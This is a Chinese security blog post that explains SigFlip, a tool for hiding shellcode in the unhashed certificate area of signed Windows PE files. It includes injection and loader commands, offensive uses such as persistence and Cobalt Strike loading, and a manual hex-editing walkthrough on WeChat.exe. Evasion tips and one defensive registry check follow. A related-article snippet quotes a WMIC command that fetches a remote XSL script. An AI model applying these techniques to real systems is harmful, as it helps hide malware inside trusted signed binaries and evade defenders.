SigFlip:将数据隐写到已签名的PE文件上

安全侠2021-08-10 14:20:22

SigFlip:将数据隐写到已签名的PE文件上

Github地址: https://github.com/med0x2e/SigFlip

可以怎么玩呢,可以白加黑当冲锋马的时候,白文件写入shellcode,黑文件加载白文件的shellcode。

也可以做维权使用,将shellcode注入到系统的白文件中,dll劫持或者loader加到启动项里面。

使用

两个目录BofDotNet,DotNet是c#写的用来可行性测试,包含注入代码,loader加载功能,Bof是C写的,也包含注入代码和loader加载功能,主要是可以编译成bof文件给Cobalt Strike使用。

c#代码loader的部分直接CreateRemoteThread就运行shellcode了,而bof的loader部分使用Early Bird,启动一个新进程 pac注入执行。

c#和Bof会写入"\xFE\xED\xFA\xCE\xFE\xED\xFA\xCE" 当作标记,在读取shellcode时通过这个字符就可以直接定位到shellcode了。

「注入shellcode到签名的PE文件」

c:\> SigFlip.exe -i C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -s C:\Temp\x86.bin -o C:\Temp\MSbuild.exe -e TestKey

「loader执行shellcode」

c:\> SigLoader.exe -f C:\Temp\MSBuild.exe -e TestKey -pid 

说说原理,一句话就是将shellcode写到了签名时不计算的区域。

签名的位置

https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-data-directories-image-only

image-20210809175208347

_IMAGE_DATA_DIRECTORY 第4个偏移的位置(从0开始)。

签名信息的结构

https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-attribute-certificate-table-image-only

签名位置

灰色背景的部分,不参与签名的hash计算。粗体的部分,就是签名的相关内容。

SigFlip的原理就是将数据隐写到灰色的部分。

「数字签名结构」

WIN_CERTIFICATE

typedef struct _WIN_CERTIFICATE {
    DWORD       dwLength;
    WORD        wRevision;
    WORD        wCertificateType;   // WIN_CERT_TYPE_xxx
    BYTE        bCertificate[ANYSIZE_ARRAY];
} WIN_CERTIFICATE, *LPWIN_CERTIFICATE;

dwLength:此结构体的长度。

wRevision:在bCertificate里面保护的证书的版本号,版本号有两种,如下表,一般为0x0200。

值信息Win32 SDK中的宏定义名0x0100Win_Certificate的老版本WIN_CERT_REVISION_1_00x0200Win_Certificate的当前版本WIN_CERT_REVISION_2_0

wCertificateType:证书类型,有如下表格中的类型:

值信息Win32 SDK中的宏定义名0x0001X.509证书WIN_CERT_TYPE_X5090x0002包含PKCS#7的SignedData的结构WIN_CERT_TYPE_PKCS_SIGNED_DATA0x0003保留WIN_CERT_TYPE_RESERVED_10x0004终端服务器协议堆栈证书签名WIN_CERT_TYPE_TS_STACK_SIGNED

bCertificate:包含一个或多个证书,一般来说这个证书的内容一直到安全表的末尾。

具体的WIN_CERT_TYPE_PKCS_SIGNED_DATA结构参考 https://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx

最值得注意的是bCertificate的字节大小要求8字节对齐。

image-20210810143903467

修改要做的步骤

根据_IMAGE_DATA_DIRECTORY 获取 WIN_CERTIFICATE 的RVA和大小,添加数据到bCertificate后面,再注意8字节对齐即可。

Ps:为什么添加数据在bCertificate后面不影响证书的校验呢,我原本想找找PKCS#7证书的结构看看的,搜了一圈,也没找到比较好的。但是可以猜测,既然有8位对齐的校验,说明后面添加几个字符是没有影响,再可以反推出,每个字段都有一个长度字段控制。所以后面无论我们添加多少字段,对证书的校验都不会影响。

再 更新 dwLength 大小

更新 _IMAGE_DATA_DIRECTORY[WIN_CERTIFICATE ]的size。

更新PE头的CheckSum (这个可选)

手动修改

有了上面的描述,我们可以手动修改试试,以“微信”为例,用它的主程序,数字签名也都正常。

image-20210810151212409

CFF Explore打开wechat.exe,定位到证书表的选项

image-20210810151336872

可以知道证书的位置在文件偏移的000EA800,大小是000035F8

010 Editor跳转到这个地方

image-20210810151722788

头部对应上数据结构的值

typedef struct _WIN_CERTIFICATE {
    DWORD       dwLength;
    WORD        wRevision;
    WORD        wCertificateType;   // WIN_CERT_TYPE_xxx
    BYTE        bCertificate[ANYSIZE_ARRAY];
} WIN_CERTIFICATE, *LPWIN_CERTIFICATE;

dwLength = 0x35f8

wRevision=0x0200

wCertificateType=0x02

后面即证书的字节了,跳转到最后可以看到有七个字节用作了对齐

image-20210810151911438

我们可以在后面添加自己需要的字节(要是8的倍数),例如我添加16个。

image-20210810152151990

所以新的长度就是0x35f8+16 = 0x3608 ,新的长度更新到两个地方

更新 dwLength 大小
更新 _IMAGE_DATA_DIRECTORY[WIN_CERTIFICATE ]的size。

最后它的证书也是正常的。

image-20210810152502566

防御手法

检查是否安装了 MS13-098 KB2893294 (一般默认不安装)

检查注册表

  • HKLM:\Software\Microsoft\Cryptography\Wintrust\Config
  • HKLM:\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config

历史

早在2013年,就有人发现chrome的安装包会在证书处写自己的安装信息。

  • https://blog.didierstevens.com/2013/08/13/a-bit-more-than-a-signature/

增强对抗

loader就可以按shellcode的加载方式进行了,通常一个CreareRemoteThread就可以启动了。在对抗中执行可以更复杂一点,对于白加黑运行,运行shellcode可以劫持返回地址,或者注入到主程序的入口来执行。

pe文件
本作品采用《CC 协议》,转载必须注明作者和本文链接
8月3日,在Black Hat USA 2020安全会议上,BlackBerry为网络安全社区发布了一种新工具。自上周起,该工具已在GitHub上开源,但8月3日标志着其正式发布。FireEye发布了Flashmingo,该应用程序可自动搜索Flash漏洞。FireEye发布了Crescendo,这是一个适用于macOS的实时事件查看器。FireEye发布了Capa,该工具可以分析恶意软件并检测恶意功能。NCC集团发布了全球首款针对蓝牙5的开源嗅探器Sniffle]。SpecterOps发布了Satellite,这是red-team运营的有效载荷和代理服务。
SigFlip:将数据隐写到已签名的PE文件上Github地址: https://github.com/me
EXE文件内存加载
2021-12-02 16:22:13
作为一名安全菜鸟,单纯的了解某一个方面是并不合格的,安全并不仅限于某一门语言、某一个OS,现如今安全研究的技术栈要求的更深、更广。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
前段时间参加公司举办的红蓝对抗演习,帮助蓝军分析并溯源样本。拿到样本时,就一个xsl类型的文件,和一个用来执行该样本的命令行,如下所示: C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"
最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。
摩诃草,又名Hangover、Patchwork、白象等,奇安信内部跟踪编号为APT-Q-36,最早由国外安全厂商Norman披露并命名为Hangover,2016年8月其他厂商后续披露了摩诃草组织的详细报告。国内其他安全厂商通常也称其为“白象”。该APT组织被广泛认为来自南亚地区某国,其最早攻击活动可以追溯到2009年11月,从2015年开始变得更加活跃。该组织主要针对Windows系统进行攻
前言在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。可以看到使用了MessageBox这个API杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会认为文件是一个恶意文件。自定义API函数FARPROC GetProcAddress;定义:typedef int ();HMODULE LoadLibraryA; // 成功返回句柄 失败返回NULL. 这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );printf; pMessageBox MyMessageBox = GetProcAddress; MyMessageBox; return 0;}. 程序可以正常运行:查看其导入表:User32.dll和MessageBox都不存在。实战测试用创建进程的方式加载shellcode。
Windows安全工具锦集
2023-01-07 11:03:54
解决了OD对64位应用程序调试上的缺陷:下载地址:https://x64dbg.com/#startdnSpy一款针对.NET程序的开源逆向程序的工具。还能设置断点,修改请求和响应的数据,模拟弱网络环境。支持插件扩展:下载地址:https://www.telerik.com/download/fiddlerMicrosoftNetwork Monitor只支持Windows平台的网络数据分析工具,提供了一个专业的网路实时流量图形界面,拥有识别和监控超过300种网络协议的能力:下载地址:https://www.microsoft.com/en-us/download/details.aspx?
安全侠
暂无描述